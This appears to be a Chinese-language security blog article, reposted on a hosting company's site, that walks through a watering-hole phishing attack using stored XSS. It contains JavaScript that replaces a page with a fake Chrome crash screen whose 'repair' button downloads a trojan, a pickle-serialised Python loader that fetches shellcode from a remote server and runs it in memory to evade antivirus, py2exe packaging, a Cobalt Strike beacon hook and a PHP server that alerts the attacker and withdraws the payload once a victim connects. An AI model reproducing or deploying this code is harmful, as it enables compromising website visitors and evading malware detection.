- 資訊首頁(yè) > 網(wǎng)絡(luò )安全 >
- 怎么利用釣魚(yú)實(shí)現水坑攻擊
本篇內容主要講解“怎么利用釣魚(yú)實(shí)現水坑攻擊”,感興趣的朋友不妨來(lái)看看。本文介紹的方法操作簡(jiǎn)單快捷,實(shí)用性強。下面就讓小編來(lái)帶大家學(xué)習“怎么利用釣魚(yú)實(shí)現水坑攻擊”吧!
簡(jiǎn)單介紹一下概念: 1.XSS,wiki的解釋是一種代碼注入,所以能做的事情很多,不限于alert彈框(感覺(jué)很多人以為XSS就是彈框框,彈不出來(lái)就不認)、竊取Cookie之類(lèi)的操作,下面要實(shí)現的水坑攻擊就是一種利用。 2.水坑攻擊,這個(gè)詞是來(lái)自動(dòng)物世界(果然,技術(shù)來(lái)自于生活),大意是說(shuō)鱷魚(yú)潛伏在水坑中等待獵物來(lái)喝水,當獵物來(lái)進(jìn)食放松警惕時(shí)發(fā)起攻擊。對應到網(wǎng)絡(luò )世界中就是攻擊者通過(guò)對用戶(hù)的行為進(jìn)行分析,在用戶(hù)的必經(jīng)之路上埋下陷阱,等待用戶(hù)中招。
備注: 分析過(guò)了就是水坑攻擊,沒(méi)有就是釣魚(yú),都無(wú)所謂,哈哈...
原理:在目標會(huì )訪(fǎng)問(wèn)的網(wǎng)站上,利用JS精心構造頁(yè)面誘導用戶(hù)下載木馬。
前提條件:
需要一個(gè)存儲型的XSS,最好還擁有webshell的權限方便更改。
一個(gè)免殺木馬,免殺效果一定要有,總不能落地就被殺了吧
上線(xiàn)通知和自動(dòng)收桿插件,避免一直盯著(zhù)頁(yè)面,上鉤后還要卸載頁(yè)面。
過(guò)程:
1.利用JS寫(xiě)一個(gè)誘導頁(yè)面,不要再用flash更新頁(yè)面了,都被人家玩剩很多年了...
我寫(xiě)了兩個(gè)頁(yè)面,拋磚引玉,一個(gè)是模仿chrome瀏覽器崩潰后的頁(yè)面,另一個(gè)是使用layer的彈窗頁(yè)面。
代碼一,chrome瀏覽器崩潰頁(yè)面:
var body = document.body; var _left = window.innerWidth * 0.3 + 'px'; var _top = window.innerHeight * 0.3 + 'px'; var _height = window.innerHeight body.innerHTML=`<div ><div style='position:absolute;top:${_top};left:${_left};height:300px;width:600px;'><img src='http://39.*.*.*/sdp.png' style='margin:3px;'> <p><h4 >喔唷,崩潰啦!</h4></p > <p style='color:gray'>顯示此網(wǎng)頁(yè)時(shí)出了點(diǎn)問(wèn)題,請在您的頁(yè)面上啟用顯示插件,從而可能會(huì )有所幫助。</br></p > <a href='http://39.105.*.*/Plugin.zip'> <button style='margin-left:85%;height:30px;line-hight:30px;outline:none;border:none;background-color:rgb(26,115,232);color:white' >立即修復</button></a></div></div>`
效果圖一:
(用戶(hù)點(diǎn)擊修復即會(huì )下載木馬)
代碼二,利用layer實(shí)現彈窗
可以看layer官方的演示代碼 https://layer.layui.com/
這個(gè)的具體內容沒(méi)有寫(xiě),因為需要具體頁(yè)面具體分析,大家可以自行發(fā)揮。
layui.use('layer', function() { var layer = layui.layer //彈層 layer.open({ type: 1, skin: 'layui-layer-rim', //加上邊框 area: ['420px', '240px'], //寬高 content: 'html內容' }); });
前提:需要先引入laye組件,在XSS注入時(shí),多引入一個(gè)script標簽即可。
效果圖二:
2.免殺
這里用到CS并且使用反序列化+分離免殺,參考大佬的文章:
https://mp.weixin.qq.com/s/sd73eL3-TnMm0zWLCC8cOQ
不要用pyinstaller打包,不然一定會(huì )報毒,推薦py2exe,但也有個(gè)問(wèn)題,就是編譯后不只一個(gè)文件,查了很多文檔也沒(méi)解決,最后測試發(fā)現只需要帶上libffi-7.dll即可,勉強能用。
代碼(不一定非要用django,把shellcode分離開(kāi)就行):
import pickle import base64,requests shellcode = """ import ctypes,urllib.request,codecs,base64 resp = requests.get("http://39.*.*.*/shellcode.txt") base64_code =resp.content shellcode = base64.b64decode(base64_code) shellcode =codecs.escape_decode(shellcode)[0] shellcode = bytearray(shellcode) # 設置VirtualAlloc返回類(lèi)型為ctypes.c_uint64 ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 # 申請內存 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) # 放入shellcode buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory( ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode)) ) # 創(chuàng )建一個(gè)線(xiàn)程從shellcode防止位置首地址開(kāi)始執行 handle = ctypes.windll.kernel32.CreateThread( ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0)) ) # 等待上面創(chuàng )建的線(xiàn)程運行完 ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))""" class AAAA(object): def __reduce__(self): return (exec, (shellcode,)) ret = pickle.dumps(AAAA()) ret_base64 = base64.b64encode(ret) ret_base32 = base64.b32encode(ret) print(ret_base32) print(ret_base64) ret_decode = base64.b64decode(ret_base64)
import base64,pickle,ctypes,urllib.request,codecs,requests ret = b'QACJKXQEAAAAAAAAACGAQYTVNFWHI2LOOOKIYBDFPBSWHFE3TNBSWY3DDN5SGKLTUPB2CEKIKMJQXGZJWG.......(略).........RPWG33EMUQD24TFONYY3PNZ2GK3TUBIFHG2DFNRW GG33EMUQD2IDCMFZWKNRUFZRDMNDEMVRW6ZDFFBRGC=' ret_decode = base64.b32decode(ret) # print(ret_decode) pickle.loads(ret_decode)
from distutils.core import setup import py2exe setup( options={ 'py2exe': { 'optimize': 2, 'bundle_files': 1, 'compressed': True, }, }, windows=[{"script": "test9.py",}], zipfile=None, )
3.上線(xiàn)通知,自動(dòng)收桿
用到大佬的項目:
https://github.com/TheKingOfDuck/XSS-Fishing2-CS
整個(gè)過(guò)程最有意思的地方就在這里了:
大致原理是需要一個(gè)Server端,沒(méi)有上線(xiàn)的時(shí)候輸出xss惡意代碼,CS上線(xiàn)后會(huì )觸發(fā)事件執行發(fā)送一個(gè)特殊的請求(攜帶上線(xiàn)用戶(hù)的IP的請求),取消xss惡意代碼,恢復正常,達到自動(dòng)收桿。
測試的時(shí)候發(fā)現上線(xiàn)提醒不好用,另外我需要的是企業(yè)微信的通知,將這部分功能移到了Server端。
具體代碼:
cs插件
on beacon_initial { $webhook = "https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=*****************************"; local('$externalIP $computerName $userName'); $externalIP = replace(beacon_info($1, "external"), " ", "_"); $computerName = replace(beacon_info($1, "computer"), " ", "_"); $userName = replace(beacon_info($1, "user"), " ", "_"); $message = 'New Bot Online: \n\n Computer name:'.$computerName.'\n\nUsername:'.$userName.'\n\nexternalIP:'.$externalIP; $xssApi = "http://39.*.*.*/xss.php?ip=".$externalIP; @curl_command = @('curl', '-X', 'GET', $xssApi); exec(@curl_command); }
服務(wù)端PHP實(shí)現:
<?php $xssPayload = file_get_contents ("eval1.js"); $db = "botIPs.txt"; $ip = $_SERVER["REMOTE_ADDR"]; $botIP = @$_GET['ip']; if ($botIP != 'NULL') { echo $botIP; } if (!is_null($botIP)) { $bots = fopen($db, "a") or die("Unable to open bots file!"); fwrite($bots, base64_encode($botIP) . "\n"); fclose($bots); $url = 'https://qyapi.weixin.qq.com/cgi-bin/webhook/send?key=********************'; $data = array("msgtype" => "text", "text" => array("content" => "New Bot Online:" . $botIP)); $postdata = json_encode($data); $ch = curl_init($url); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json')); $result = curl_exec($ch); curl_close($ch); print_r($result); } else { if (file_exists($db)) { $line = file_get_contents($db); $botIPs = explode("\n", $line); } if (@in_array(base64_encode($ip), $botIPs)) { header('Content-type: text/javascript'); echo "var hb;"; } else { header('Content-type: text/javascript'); echo $xssPayload; } } ?>
效果:
免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng )、來(lái)自互聯(lián)網(wǎng)轉載和分享為主,文章觀(guān)點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權請聯(lián)系QQ:712375056 進(jìn)行舉報,并提供相關(guān)證據,一經(jīng)查實(shí),將立刻刪除涉嫌侵權內容。
Copyright ? 2009-2021 56dr.com. All Rights Reserved. 特網(wǎng)科技 特網(wǎng)云 版權所有 珠海市特網(wǎng)科技有限公司 粵ICP備16109289號
域名注冊服務(wù)機構:阿里云計算有限公司(萬(wàn)網(wǎng)) 域名服務(wù)機構:煙臺帝思普網(wǎng)絡(luò )科技有限公司(DNSPod) CDN服務(wù):阿里云計算有限公司 中國互聯(lián)網(wǎng)舉報中心 增值電信業(yè)務(wù)經(jīng)營(yíng)許可證B2
建議您使用Chrome、Firefox、Edge、IE10及以上版本和360等主流瀏覽器瀏覽本網(wǎng)站